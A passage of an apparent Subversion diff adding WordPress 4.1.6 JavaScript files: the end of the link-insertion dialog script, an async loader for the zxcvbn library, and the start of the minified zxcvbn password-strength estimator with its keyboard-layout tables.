+				// IE will show a flashing cursor over the dialog.
+				inputs.url.focus()[0].select();
+			}
+
+			// Load the most recent results if this is the first time opening the panel.
+			if ( ! rivers.recent.ul.children().length ) {
+				rivers.recent.ajax();
+			}
+		},
+
+		mceRefresh: function() {
+			var e;
+
+			// If link exists, select proper values.
+			if ( e = editor.dom.getParent( editor.selection.getNode(), 'A' ) ) {
+				// Set URL and description.
+				inputs.url.val( editor.dom.getAttrib( e, 'href' ) );
+				inputs.title.val( editor.dom.getAttrib( e, 'title' ) );
+				// Set open in new tab.
+				inputs.openInNewTab.prop( 'checked', ( '_blank' === editor.dom.getAttrib( e, 'target' ) ) );
+				// Update save prompt.
+				inputs.submit.val( wpLinkL10n.update );
+
+			// If there's no link, set the default values.
+			} else {
+				wpLink.setDefaultValues();
+			}
+		},
+
+		close: function() {
+			$( document.body ).removeClass( 'modal-open' );
+
+			if ( ! wpLink.isMCE() ) {
+				wpLink.textarea.focus();
+
+				if ( wpLink.range ) {
+					wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
+					wpLink.range.select();
+				}
+			} else {
+				editor.focus();
+			}
+
+			inputs.backdrop.hide();
+			inputs.wrap.hide();
+			$( document ).trigger( 'wplink-close', inputs.wrap );
+		},
+
+		getAttrs: function() {
+			return {
+				href: inputs.url.val(),
+				title: inputs.title.val(),
+				target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : ''
+			};
+		},
+
+		update: function() {
+			if ( wpLink.isMCE() )
+				wpLink.mceUpdate();
+			else
+				wpLink.htmlUpdate();
+		},
+
+		htmlUpdate: function() {
+			var attrs, html, begin, end, cursor, title, selection,
+				textarea = wpLink.textarea;
+
+			if ( ! textarea )
+				return;
+
+			attrs = wpLink.getAttrs();
+
+			// If there's no href, return.
+			if ( ! attrs.href || attrs.href == 'http://' )
+				return;
+
+			// Build HTML
+			html = '<a href="' + attrs.href + '"';
+
+			if ( attrs.title ) {
+				title = attrs.title.replace( /</g, '&lt;' ).replace( />/g, '&gt;' ).replace( /"/g, '&quot;' );
+				html += ' title="' + title + '"';
+			}
+
+			if ( attrs.target ) {
+				html += ' target="' + attrs.target + '"';
+			}
+
+			html += '>';
+
+			// Insert HTML
+			if ( document.selection && wpLink.range ) {
+				// IE
+				// Note: If no text is selected, IE will not place the cursor
+				//       inside the closing tag.
+				textarea.focus();
+				wpLink.range.text = html + wpLink.range.text + '</a>';
+				wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
+				wpLink.range.select();
+
+				wpLink.range = null;
+			} else if ( typeof textarea.selectionStart !== 'undefined' ) {
+				// W3C
+				begin       = textarea.selectionStart;
+				end         = textarea.selectionEnd;
+				selection   = textarea.value.substring( begin, end );
+				html        = html + selection + '</a>';
+				cursor      = begin + html.length;
+
+				// If no text is selected, place the cursor inside the closing tag.
+				if ( begin == end )
+					cursor -= '</a>'.length;
+
+				textarea.value = textarea.value.substring( 0, begin ) + html +
+					textarea.value.substring( end, textarea.value.length );
+
+				// Update cursor position
+				textarea.selectionStart = textarea.selectionEnd = cursor;
+			}
+
+			wpLink.close();
+			textarea.focus();
+		},
+
+		mceUpdate: function() {
+			var link,
+				attrs = wpLink.getAttrs();
+
+			wpLink.close();
+			editor.focus();
+
+			if ( tinymce.isIE ) {
+				editor.selection.moveToBookmark( editor.windowManager.bookmark );
+			}
+
+			link = editor.dom.getParent( editor.selection.getNode(), 'a[href]' );
+
+			// If the values are empty, unlink and return
+			if ( ! attrs.href || attrs.href == 'http://' ) {
+				editor.execCommand( 'unlink' );
+				return;
+			}
+
+			if ( link ) {
+				editor.dom.setAttribs( link, attrs );
+			} else {
+				editor.execCommand( 'mceInsertLink', false, attrs );
+			}
+
+			// Move the cursor to the end of the selection
+			editor.selection.collapse();
+		},
+
+		updateFields: function( e, li ) {
+			inputs.url.val( li.children( '.item-permalink' ).val() );
+			inputs.title.val( li.hasClass( 'no-title' ) ? '' : li.children( '.item-title' ).text() );
+		},
+
+		setDefaultValues: function() {
+			var selection = editor && editor.selection.getContent(),
+				emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i,
+				urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,4}[^ "]*$/i;
+
+			if ( selection && emailRegexp.test( selection ) ) {
+				// Selection is email address
+				inputs.url.val( 'mailto:' + selection );
+			} else if ( selection && urlRegexp.test( selection ) ) {
+				// Selection is URL
+				inputs.url.val( selection.replace( /&amp;|&#0?38;/gi, '&' ) );
+			} else {
+				// Set URL to default.
+				inputs.url.val( 'http://' );
+			}
+
+			// Set description to default.
+			inputs.title.val( '' );
+
+			// Update save prompt.
+			inputs.submit.val( wpLinkL10n.save );
+		},
+
+		searchInternalLinks: function() {
+			var t = $( this ), waiting,
+				search = t.val();
+
+			if ( search.length > 2 ) {
+				rivers.recent.hide();
+				rivers.search.show();
+
+				// Don't search if the keypress didn't change the title.
+				if ( wpLink.lastSearch == search )
+					return;
+
+				wpLink.lastSearch = search;
+				waiting = t.parent().find('.spinner').show();
+
+				rivers.search.change( search );
+				rivers.search.ajax( function() {
+					waiting.hide();
+				});
+			} else {
+				rivers.search.hide();
+				rivers.recent.show();
+			}
+		},
+
+		next: function() {
+			rivers.search.next();
+			rivers.recent.next();
+		},
+
+		prev: function() {
+			rivers.search.prev();
+			rivers.recent.prev();
+		},
+
+		keydown: function( event ) {
+			var fn, id,
+				key = $.ui.keyCode;
+
+			if ( key.ESCAPE === event.keyCode ) {
+				wpLink.close();
+				event.stopImmediatePropagation();
+			} else if ( key.TAB === event.keyCode ) {
+				id = event.target.id;
+
+				// wp-link-submit must always be the last focusable element in the dialog.
+				// following focusable elements will be skipped on keyboard navigation.
+				if ( id === 'wp-link-submit' && ! event.shiftKey ) {
+					inputs.close.focus();
+					event.preventDefault();
+				} else if ( id === 'wp-link-close' && event.shiftKey ) {
+					inputs.submit.focus();
+					event.preventDefault();
+				}
+			}
+
+			if ( event.keyCode !== key.UP && event.keyCode !== key.DOWN ) {
+				return;
+			}
+
+			if ( document.activeElement &&
+				( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) {
+				return;
+			}
+
+			fn = event.keyCode === key.UP ? 'prev' : 'next';
+			clearInterval( wpLink.keyInterval );
+			wpLink[ fn ]();
+			wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
+			event.preventDefault();
+		},
+
+		keyup: function( event ) {
+			var key = $.ui.keyCode;
+
+			if ( event.which === key.UP || event.which === key.DOWN ) {
+				clearInterval( wpLink.keyInterval );
+				event.preventDefault();
+			}
+		},
+
+		delayedCallback: function( func, delay ) {
+			var timeoutTriggered, funcTriggered, funcArgs, funcContext;
+
+			if ( ! delay )
+				return func;
+
+			setTimeout( function() {
+				if ( funcTriggered )
+					return func.apply( funcContext, funcArgs );
+				// Otherwise, wait.
+				timeoutTriggered = true;
+			}, delay );
+
+			return function() {
+				if ( timeoutTriggered )
+					return func.apply( this, arguments );
+				// Otherwise, wait.
+				funcArgs = arguments;
+				funcContext = this;
+				funcTriggered = true;
+			};
+		},
+
+		toggleInternalLinking: function( event ) {
+			var visible = inputs.wrap.hasClass( 'search-panel-visible' );
+
+			inputs.wrap.toggleClass( 'search-panel-visible', ! visible );
+			setUserSetting( 'wplink', visible ? '0' : '1' );
+			inputs[ ! visible ? 'search' : 'url' ].focus();
+			event.preventDefault();
+		}
+	};
+
+	River = function( element, search ) {
+		var self = this;
+		this.element = element;
+		this.ul = element.children( 'ul' );
+		this.contentHeight = element.children( '#link-selector-height' );
+		this.waiting = element.find('.river-waiting');
+
+		this.change( search );
+		this.refresh();
+
+		$( '#wp-link .query-results, #wp-link #link-selector' ).scroll( function() {
+			self.maybeLoad();
+		});
+		element.on( 'click', 'li', function( event ) {
+			self.select( $( this ), event );
+		});
+	};
+
+	$.extend( River.prototype, {
+		refresh: function() {
+			this.deselect();
+			this.visible = this.element.is( ':visible' );
+		},
+		show: function() {
+			if ( ! this.visible ) {
+				this.deselect();
+				this.element.show();
+				this.visible = true;
+			}
+		},
+		hide: function() {
+			this.element.hide();
+			this.visible = false;
+		},
+		// Selects a list item and triggers the river-select event.
+		select: function( li, event ) {
+			var liHeight, elHeight, liTop, elTop;
+
+			if ( li.hasClass( 'unselectable' ) || li == this.selected )
+				return;
+
+			this.deselect();
+			this.selected = li.addClass( 'selected' );
+			// Make sure the element is visible
+			liHeight = li.outerHeight();
+			elHeight = this.element.height();
+			liTop = li.position().top;
+			elTop = this.element.scrollTop();
+
+			if ( liTop < 0 ) // Make first visible element
+				this.element.scrollTop( elTop + liTop );
+			else if ( liTop + liHeight > elHeight ) // Make last visible element
+				this.element.scrollTop( elTop + liTop - elHeight + liHeight );
+
+			// Trigger the river-select event
+			this.element.trigger( 'river-select', [ li, event, this ] );
+		},
+		deselect: function() {
+			if ( this.selected )
+				this.selected.removeClass( 'selected' );
+			this.selected = false;
+		},
+		prev: function() {
+			if ( ! this.visible )
+				return;
+
+			var to;
+			if ( this.selected ) {
+				to = this.selected.prev( 'li' );
+				if ( to.length )
+					this.select( to );
+			}
+		},
+		next: function() {
+			if ( ! this.visible )
+				return;
+
+			var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element );
+			if ( to.length )
+				this.select( to );
+		},
+		ajax: function( callback ) {
+			var self = this,
+				delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
+				response = wpLink.delayedCallback( function( results, params ) {
+					self.process( results, params );
+					if ( callback )
+						callback( results, params );
+				}, delay );
+
+			this.query.ajax( response );
+		},
+		change: function( search ) {
+			if ( this.query && this._search == search )
+				return;
+
+			this._search = search;
+			this.query = new Query( search );
+			this.element.scrollTop( 0 );
+		},
+		process: function( results, params ) {
+			var list = '', alt = true, classes = '',
+				firstPage = params.page == 1;
+
+			if ( ! results ) {
+				if ( firstPage ) {
+					list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' +
+						wpLinkL10n.noMatchesFound + '</em></span></li>';
+				}
+			} else {
+				$.each( results, function() {
+					classes = alt ? 'alternate' : '';
+					classes += this.title ? '' : ' no-title';
+					list += classes ? '<li class="' + classes + '">' : '<li>';
+					list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />';
+					list += '<span class="item-title">';
+					list += this.title ? this.title : wpLinkL10n.noTitle;
+					list += '</span><span class="item-info">' + this.info + '</span></li>';
+					alt = ! alt;
+				});
+			}
+
+			this.ul[ firstPage ? 'html' : 'append' ]( list );
+		},
+		maybeLoad: function() {
+			var self = this,
+				el = this.element,
+				bottom = el.scrollTop() + el.height();
+
+			if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold )
+				return;
+
+			setTimeout(function() {
+				var newTop = el.scrollTop(),
+					newBottom = newTop + el.height();
+
+				if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold )
+					return;
+
+				self.waiting.show();
+				el.scrollTop( newTop + self.waiting.outerHeight() );
+
+				self.ajax( function() {
+					self.waiting.hide();
+				});
+			}, wpLink.timeToTriggerRiver );
+		}
+	});
+
+	Query = function( search ) {
+		this.page = 1;
+		this.allLoaded = false;
+		this.querying = false;
+		this.search = search;
+	};
+
+	$.extend( Query.prototype, {
+		ready: function() {
+			return ! ( this.querying || this.allLoaded );
+		},
+		ajax: function( callback ) {
+			var self = this,
+				query = {
+					action : 'wp-link-ajax',
+					page : this.page,
+					'_ajax_linking_nonce' : inputs.nonce.val()
+				};
+
+			if ( this.search )
+				query.search = this.search;
+
+			this.querying = true;
+
+			$.post( ajaxurl, query, function( r ) {
+				self.page++;
+				self.querying = false;
+				self.allLoaded = ! r;
+				callback( r, query );
+			}, 'json' );
+		}
+	});
+
+	$( document ).ready( wpLink.init );
+})( jQuery );
Index: /tags/4.1.6/src/wp-includes/js/zxcvbn-async.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/zxcvbn-async.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/zxcvbn-async.js	(revision 33402)
@@ -0,0 +1,18 @@
+/* global _zxcvbnSettings */
+(function() {
+  var async_load = function() {
+    var first, s;
+    s = document.createElement('script');
+    s.src = _zxcvbnSettings.src;
+    s.type = 'text/javascript';
+    s.async = true;
+    first = document.getElementsByTagName('script')[0];
+    return first.parentNode.insertBefore(s, first);
+  };
+
+  if (window.attachEvent != null) {
+    window.attachEvent('onload', async_load);
+  } else {
+    window.addEventListener('load', async_load, false);
+  }
+}).call(this);
Index: /tags/4.1.6/src/wp-includes/js/zxcvbn.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/zxcvbn.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/zxcvbn.min.js	(revision 33402)
@@ -0,0 +1,47 @@
+/*! zxcvbn - v1.0.0
+ * realistic password strength estimation
+ * https://github.com/dropbox/zxcvbn
+ * Copyright (c) 2012 Dropbox, Inc.; Licensed MIT */
+(function(){var x,o,r,y,K,L,M,N,O,P,Q,R,z,q,A,S,T,U,u,V,W,X;u=function(b){return b.replace(/[a-zA-Z]/g,function(a){return String.fromCharCode(("Z">=a?90:122)>=(a=a.charCodeAt(0)+13)?a:a-26)})};Q=function(b){var a,d;d=[];for(a in b)d.push(a);return 0===d.length};z=function(b,a){return b.push.apply(b,a)};W=function(b,a){var d,c,e,f,g;f=b.split("");g=[];c=0;for(e=f.length;c<e;c++)d=f[c],g.push(a[d]||d);return g.join("")};S=function(b){var a,d,c,e;d=[];c=0;for(e=B.length;c<e;c++)a=B[c],z(d,a(b));return d.sort(function(a,
+b){return a.i-b.i||a.j-b.j})};O=function(b,a){var d,c,e,f,g,h,i,j,k;h=[];e=b.length;f=b.toLowerCase();f=u(f);for(d=j=0;0<=e?j<e:j>e;d=0<=e?++j:--j)for(c=k=d;d<=e?k<e:k>e;c=d<=e?++k:--k)if(f.slice(d,+c+1||9E9)in a)i=f.slice(d,+c+1||9E9),g=a[i],h.push({pattern:"dictionary",i:d,j:c,token:b.slice(d,+c+1||9E9),matched_word:u(i),rank:g});return h};r=function(b){var a,d,c,e,f;d={};a=1;e=0;for(f=b.length;e<f;e++)c=b[e],d[c]=a,a+=1;return d};o=function(b,a){return function(d){var c,e,f;c=O(d,a);e=0;for(f=
+c.length;e<f;e++)d=c[e],d.dictionary_name=b;return c}};A={a:["4","@"],b:["8"],c:["(","{","[","<"],e:["3"],g:["6","9"],i:["1","!","|"],l:["1","|","7"],o:["0"],s:["$","5"],t:["+","7"],x:["%"],z:["2"]};T=function(b){var a,d,c,e,f;d={};f=b.split("");c=0;for(e=f.length;c<e;c++)b=f[c],d[b]=!0;b={};for(a in A){e=A[a];var g=f=void 0,h=void 0,h=[];f=0;for(g=e.length;f<g;f++)c=e[f],c in d&&h.push(c);c=h;0<c.length&&(b[a]=c)}return b};R=function(b){var a,d,c,e,f,g,h,i,j,k,l,m,p;f=function(){var a;a=[];for(e in b)a.push(e);
+return a}();j=[[]];d=function(a){var b,c,d,f,g,i,h,j;c=[];f={};h=0;for(j=a.length;h<j;h++)g=a[h],b=function(){var a,b,c;c=[];i=a=0;for(b=g.length;a<b;i=++a)e=g[i],c.push([e,i]);return c}(),b.sort(),d=function(){var a,c,d;d=[];i=a=0;for(c=b.length;a<c;i=++a)e=b[i],d.push(e+","+i);return d}().join("-"),d in f||(f[d]=!0,c.push(g));return c};c=function(a){var f,e,g,i,h,k,l,p,m,n,o,r,q;if(a.length){e=a[0];h=a.slice(1);i=[];r=b[e];l=0;for(n=r.length;l<n;l++){a=r[l];p=0;for(o=j.length;p<o;p++){k=j[p];f=
+-1;g=m=0;for(q=k.length;0<=q?m<q:m>q;g=0<=q?++m:--m)if(k[g][0]===a){f=g;break}-1===f?(f=k.concat([[a,e]]),i.push(f)):(g=k.slice(0),g.splice(f,1),g.push([a,e]),i.push(k),i.push(g))}}j=d(i);return c(h)}};c(f);i=[];k=0;for(m=j.length;k<m;k++){g=j[k];h={};l=0;for(p=g.length;l<p;l++)a=g[l],f=a[0],a=a[1],h[f]=a;i.push(h)}return i};V=function(b,a,d){var c,e,f,g,h,i,j,k,l,m,p,s,n;l=[];for(i=0;i<b.length-1;){j=i+1;k=null;for(m=p=0;;){c=b.charAt(j-1);h=!1;g=-1;e=a[c]||[];if(j<b.length){f=b.charAt(j);s=0;for(n=
+e.length;s<n;s++)if(c=e[s],g+=1,c&&-1!==c.indexOf(f)){h=!0;1===c.indexOf(f)&&(m+=1);k!==g&&(p+=1,k=g);break}}if(h)j+=1;else{2<j-i&&l.push({pattern:"spatial",i:i,j:j-1,token:b.slice(i,j),graph:d,turns:p,shifted_count:m});i=j;break}}}return l};x={lower:"abcdefghijklmnopqrstuvwxyz",upper:"ABCDEFGHIJKLMNOPQRSTUVWXYZ",digits:"01234567890"};U=function(b,a){var d,c;c=[];for(d=1;1<=a?d<=a:d>=a;1<=a?++d:--d)c.push(b);return c.join("")};q=function(b,a){var d,c;for(c=[];;){d=b.match(a);if(!d)break;d.i=d.index;
+d.j=d.index+d[0].length-1;c.push(d);b=b.replace(d[0],U(" ",d[0].length))}return c};P=/\d{3,}/;X=/19\d\d|200\d|201\d/;N=function(b){var a,d,c,e,f,g,h,i,j,k,l,m,p,s;e=[];s=q(b,/\d{4,8}/);k=0;for(m=s.length;k<m;k++){g=s[k];h=[g.i,g.j];g=h[0];h=h[1];c=b.slice(g,+h+1||9E9);a=c.length;d=[];6>=c.length&&(d.push({daymonth:c.slice(2),year:c.slice(0,2),i:g,j:h}),d.push({daymonth:c.slice(0,a-2),year:c.slice(a-2),i:g,j:h}));6<=c.length&&(d.push({daymonth:c.slice(4),year:c.slice(0,4),i:g,j:h}),d.push({daymonth:c.slice(0,
+a-4),year:c.slice(a-4),i:g,j:h}));c=[];l=0;for(p=d.length;l<p;l++)switch(a=d[l],a.daymonth.length){case 2:c.push({day:a.daymonth[0],month:a.daymonth[1],year:a.year,i:a.i,j:a.j});break;case 3:c.push({day:a.daymonth.slice(0,2),month:a.daymonth[2],year:a.year,i:a.i,j:a.j});c.push({day:a.daymonth[0],month:a.daymonth.slice(1,3),year:a.year,i:a.i,j:a.j});break;case 4:c.push({day:a.daymonth.slice(0,2),month:a.daymonth.slice(2,4),year:a.year,i:a.i,j:a.j})}l=0;for(p=c.length;l<p;l++)a=c[l],f=parseInt(a.day),
+i=parseInt(a.month),j=parseInt(a.year),f=y(f,i,j),d=f[0],j=f[1],f=j[0],i=j[1],j=j[2],d&&e.push({pattern:"date",i:a.i,j:a.j,token:b.slice(g,+h+1||9E9),separator:"",day:f,month:i,year:j})}return e};L=/(\d{1,2})(\s|-|\/|\\|_|\.)(\d{1,2})\2(19\d{2}|200\d|201\d|\d{2})/;K=/(19\d{2}|200\d|201\d|\d{2})(\s|-|\/|\\|_|\.)(\d{1,2})\2(\d{1,2})/;M=function(b){var a,d,c,e,f,g,h,i,j,k;e=[];j=q(b,L);g=0;for(i=j.length;g<i;g++)c=j[g],k=function(){var a,b,f,e;f=[1,3,4];e=[];a=0;for(b=f.length;a<b;a++)d=f[a],e.push(parseInt(c[d]));
+return e}(),c.day=k[0],c.month=k[1],c.year=k[2],c.sep=c[2],e.push(c);j=q(b,K);g=0;for(i=j.length;g<i;g++)c=j[g],k=function(){var a,b,f,e;f=[4,3,1];e=[];a=0;for(b=f.length;a<b;a++)d=f[a],e.push(parseInt(c[d]));return e}(),c.day=k[0],c.month=k[1],c.year=k[2],c.sep=c[2],e.push(c);k=[];i=0;for(j=e.length;i<j;i++)c=e[i],a=y(c.day,c.month,c.year),g=a[0],h=a[1],a=h[0],f=h[1],h=h[2],g&&k.push({pattern:"date",i:c.i,j:c.j,token:b.slice(c.i,+c.j+1||9E9),separator:c.sep,day:a,month:f,year:h});return k};y=function(b,
+a,d){12<=a&&31>=a&&12>=b&&(a=[a,b],b=a[0],a=a[1]);return 31<b||12<a||!(1900<=d&&2019>=d)?[!1,[]]:[!0,[b,a,d]]};var Y,Z,$,aa,D,ba,ca,da,ea,fa,ga,ha,ia,ja,n,ka,t,la,E,ma,na,oa;t=function(b,a){var d,c,e;if(a>b)return 0;if(0===a)return 1;for(d=e=c=1;1<=a?e<=a:e>=a;d=1<=a?++e:--e)c*=b,c/=d,b-=1;return c};n=function(b){return Math.log(b)/Math.log(2)};ka=function(b,a){var d,c,e,f,g,h,i,j,k,l,m;c=D(b);k=[];d=[];f=i=0;for(m=b.length;0<=m?i<m:i>m;f=0<=m?++i:--i){k[f]=(k[f-1]||0)+n(c);d[f]=null;j=0;for(l=a.length;j<
+l;j++)h=a[j],h.j===f&&(g=[h.i,h.j],e=g[0],g=g[1],e=(k[e-1]||0)+ba(h),e<k[g]&&(k[g]=e,d[g]=h))}i=[];for(f=b.length-1;0<=f;)(h=d[f])?(i.push(h),f=h.i-1):f-=1;i.reverse();d=function(a,d){return{pattern:"bruteforce",i:a,j:d,token:b.slice(a,+d+1||9E9),entropy:n(Math.pow(c,d-a+1)),cardinality:c}};f=0;j=[];l=0;for(m=i.length;l<m;l++)h=i[l],g=[h.i,h.j],e=g[0],g=g[1],0<e-f&&j.push(d(f,e-1)),f=g+1,j.push(h);f<b.length&&j.push(d(f,b.length-1));i=j;h=k[b.length-1]||0;f=ha(h);return{password:b,entropy:E(h,3),
+match_sequence:i,crack_time:E(f,3),crack_time_display:ga(f),score:ca(f)}};E=function(b,a){return Math.round(b*Math.pow(10,a))/Math.pow(10,a)};ha=function(b){return 5.0E-5*Math.pow(2,b)};ca=function(b){return b<Math.pow(10,2)?0:b<Math.pow(10,4)?1:b<Math.pow(10,6)?2:b<Math.pow(10,8)?3:4};ba=function(b){var a;if(null!=b.entropy)return b.entropy;a=function(){switch(b.pattern){case "repeat":return la;case "sequence":return ma;case "digits":return fa;case "year":return oa;case "date":return da;case "spatial":return na;
+case "dictionary":return ea}}();return b.entropy=a(b)};la=function(b){var a;a=D(b.token);return n(a*b.token.length)};ma=function(b){var a;a=b.token.charAt(0);a="a"===a||"1"===a?1:a.match(/\d/)?n(10):a.match(/[a-z]/)?n(26):n(26)+1;b.ascending||(a+=1);return a+n(b.token.length)};fa=function(b){return n(Math.pow(10,b.token.length))};oa=function(){return n(119)};da=function(b){var a;a=100>b.year?n(37200):n(44268);b.separator&&(a+=2);return a};na=function(b){var a,d,c,e,f,g,h,i,j,k;"qwerty"===(c=b.graph)||
+"dvorak"===c?(h=pa,d=qa):(h=ra,d=sa);f=0;a=b.token.length;i=b.turns;for(c=j=2;2<=a?j<=a:j>=a;c=2<=a?++j:--j){g=Math.min(i,c-1);for(e=k=1;1<=g?k<=g:k>=g;e=1<=g?++k:--k)f+=t(c-1,e-1)*h*Math.pow(d,e)}d=n(f);if(b.shifted_count){a=b.shifted_count;b=b.token.length-b.shifted_count;c=e=f=0;for(g=Math.min(a,b);0<=g?e<=g:e>=g;c=0<=g?++e:--e)f+=t(a+b,c);d+=n(f)}return d};ea=function(b){b.base_entropy=n(b.rank);b.uppercase_entropy=ja(b);b.l33t_entropy=ia(b);return b.base_entropy+b.uppercase_entropy+b.l33t_entropy};
+aa=/^[A-Z][^A-Z]+$/;$=/^[^A-Z]+[A-Z]$/;Z=/^[^a-z]+$/;Y=/^[^A-Z]+$/;ja=function(b){var a,d,c,e,f,g,h;f=b.token;if(f.match(Y))return 0;e=[aa,$,Z];a=0;for(c=e.length;a<c;a++)if(b=e[a],f.match(b))return 1;a=function(){var a,b,c,e;c=f.split("");e=[];a=0;for(b=c.length;a<b;a++)d=c[a],d.match(/[A-Z]/)&&e.push(d);return e}().length;b=function(){var a,b,c,e;c=f.split("");e=[];a=0;for(b=c.length;a<b;a++)d=c[a],d.match(/[a-z]/)&&e.push(d);return e}().length;c=g=e=0;for(h=Math.min(a,b);0<=h?g<=h:g>=h;c=0<=h?
+++g:--g)e+=t(a+b,c);return n(e)};ia=function(b){var a,d,c,e,f,g,h,i,j,k;if(!b.l33t)return 0;f=0;j=b.sub;for(g in j){h=j[g];a=function(){var a,d,e,f;e=b.token.split("");f=[];a=0;for(d=e.length;a<d;a++)c=e[a],c===g&&f.push(c);return f}().length;d=function(){var a,d,e,f;e=b.token.split("");f=[];a=0;for(d=e.length;a<d;a++)c=e[a],c===h&&f.push(c);return f}().length;e=i=0;for(k=Math.min(d,a);0<=k?i<=k:i>=k;e=0<=k?++i:--i)f+=t(d+a,e)}return n(f)||1};D=function(b){var a,d,c,e,f,g,h,i;f=[!1,!1,!1,!1,!1];c=
+f[0];g=f[1];d=f[2];e=f[3];f=f[4];i=b.split("");b=0;for(h=i.length;b<h;b++)a=i[b],a=a.charCodeAt(0),48<=a&&57>=a?d=!0:65<=a&&90>=a?g=!0:97<=a&&122>=a?c=!0:127>=a?e=!0:f=!0;b=0;d&&(b+=10);g&&(b+=26);c&&(b+=26);e&&(b+=33);f&&(b+=100);return b};ga=function(b){return 60>b?"instant":3600>b?""+(1+Math.ceil(b/60))+" minutes":86400>b?""+(1+Math.ceil(b/3600))+" hours":2678400>b?""+(1+Math.ceil(b/86400))+" days":32140800>b?""+(1+Math.ceil(b/2678400))+" months":321408E4>b?""+(1+Math.ceil(b/32140800))+" years":
+"centuries"};var F={"!":["`~",null,null,"2@","qQ",null],'"':[";:","[{","]}",null,null,"/?"],"#":["2@",null,null,"4$","eE","wW"],$:["3#",null,null,"5%","rR","eE"],"%":["4$",null,null,"6^","tT","rR"],"&":["6^",null,null,"8*","uU","yY"],"'":[";:","[{","]}",null,null,"/?"],"(":["8*",null,null,"0)","oO","iI"],")":["9(",null,null,"-_","pP","oO"],"*":["7&",null,null,"9(","iI","uU"],"+":["-_",null,null,null,"]}","[{"],",":["mM","kK","lL",".>",null,null],"-":["0)",null,null,"=+","[{","pP"],".":[",<","lL",
+";:","/?",null,null],"/":[".>",";:","'\"",null,null,null],"0":["9(",null,null,"-_","pP","oO"],1:["`~",null,null,"2@","qQ",null],2:["1!",null,null,"3#","wW","qQ"],3:["2@",null,null,"4$","eE","wW"],4:["3#",null,null,"5%","rR","eE"],5:["4$",null,null,"6^","tT","rR"],6:["5%",null,null,"7&","yY","tT"],7:["6^",null,null,"8*","uU","yY"],8:["7&",null,null,"9(","iI","uU"],9:["8*",null,null,"0)","oO","iI"],":":"lL,pP,[{,'\",/?,.>".split(","),";":"lL,pP,[{,'\",/?,.>".split(","),"<":["mM","kK","lL",".>",null,
+null],"=":["-_",null,null,null,"]}","[{"],">":[",<","lL",";:","/?",null,null],"?":[".>",";:","'\"",null,null,null],"@":["1!",null,null,"3#","wW","qQ"],A:[null,"qQ","wW","sS","zZ",null],B:["vV","gG","hH","nN",null,null],C:["xX","dD","fF","vV",null,null],D:"sS,eE,rR,fF,cC,xX".split(","),E:"wW,3#,4$,rR,dD,sS".split(","),F:"dD,rR,tT,gG,vV,cC".split(","),G:"fF,tT,yY,hH,bB,vV".split(","),H:"gG,yY,uU,jJ,nN,bB".split(","),I:"uU,8*,9(,oO,kK,jJ".split(","),J:"hH,uU,iI,kK,mM,nN".split(","),K:"jJ iI oO lL ,< mM".split(" "),
+L:"kK oO pP ;: .> ,<".split(" "),M:["nN","jJ","kK",",<",null,null],N:["bB","hH","jJ","mM",null,null],O:"iI,9(,0),pP,lL,kK".split(","),P:"oO,0),-_,[{,;:,lL".split(","),Q:[null,"1!","2@","wW","aA",null],R:"eE,4$,5%,tT,fF,dD".split(","),S:"aA,wW,eE,dD,xX,zZ".split(","),T:"rR,5%,6^,yY,gG,fF".split(","),U:"yY,7&,8*,iI,jJ,hH".split(","),V:["cC","fF","gG","bB",null,null],W:"qQ,2@,3#,eE,sS,aA".split(","),X:["zZ","sS","dD","cC",null,null],Y:"tT,6^,7&,uU,hH,gG".split(","),Z:[null,"aA","sS","xX",null,null],
+"[":"pP,-_,=+,]},'\",;:".split(","),"\\":["]}",null,null,null,null,null],"]":["[{","=+",null,"\\|",null,"'\""],"^":["5%",null,null,"7&","yY","tT"],_:["0)",null,null,"=+","[{","pP"],"`":[null,null,null,"1!",null,null],a:[null,"qQ","wW","sS","zZ",null],b:["vV","gG","hH","nN",null,null],c:["xX","dD","fF","vV",null,null],d:"sS,eE,rR,fF,cC,xX".split(","),e:"wW,3#,4$,rR,dD,sS".split(","),f:"dD,rR,tT,gG,vV,cC".split(","),g:"fF,tT,yY,hH,bB,vV".split(","),h:"gG,yY,uU,jJ,nN,bB".split(","),i:"uU,8*,9(,oO,kK,jJ".split(","),
+j:"hH,uU,iI,kK,mM,nN".split(","),k:"jJ iI oO lL ,< mM".split(" "),l:"kK oO pP ;: .> ,<".split(" "),m:["nN","jJ","kK",",<",null,null],n:["bB","hH","jJ","mM",null,null],o:"iI,9(,0),pP,lL,kK".split(","),p:"oO,0),-_,[{,;:,lL".split(","),q:[null,"1!","2@","wW","aA",null],r:"eE,4$,5%,tT,fF,dD".split(","),s:"aA,wW,eE,dD,xX,zZ".split(","),t:"rR,5%,6^,yY,gG,fF".split(","),u:"yY,7&,8*,iI,jJ,hH".split(","),v:["cC","fF","gG","bB",null,null],w:"qQ,2@,3#,eE,sS,aA".split(","),x:["zZ","sS","dD","cC",null,null],y:"tT,6^,7&,uU,hH,gG".split(","),
+z:[null,"aA","sS","xX",null,null],"{":"pP,-_,=+,]},'\",;:".split(","),"|":["]}",null,null,null,null,null],"}":["[{","=+",null,"\\|",null,"'\""],"~":[null,null,null,"1!",null,null]},G={"*":["/",null,null,null,"-","+","9","8"],"+":["9","*","-",null,null,null,null,"6"],"-":["*",null,null,null,null,null,"+","9"],".":["0","2","3",null,null,null,null,null],"/":[null,null,null,null,"*","9","8","7"],"0":[null,"1","2","3",".",null,null,null],1:[null,null,"4","5","2","0",null,null],2:["1","4","5","6","3",".",
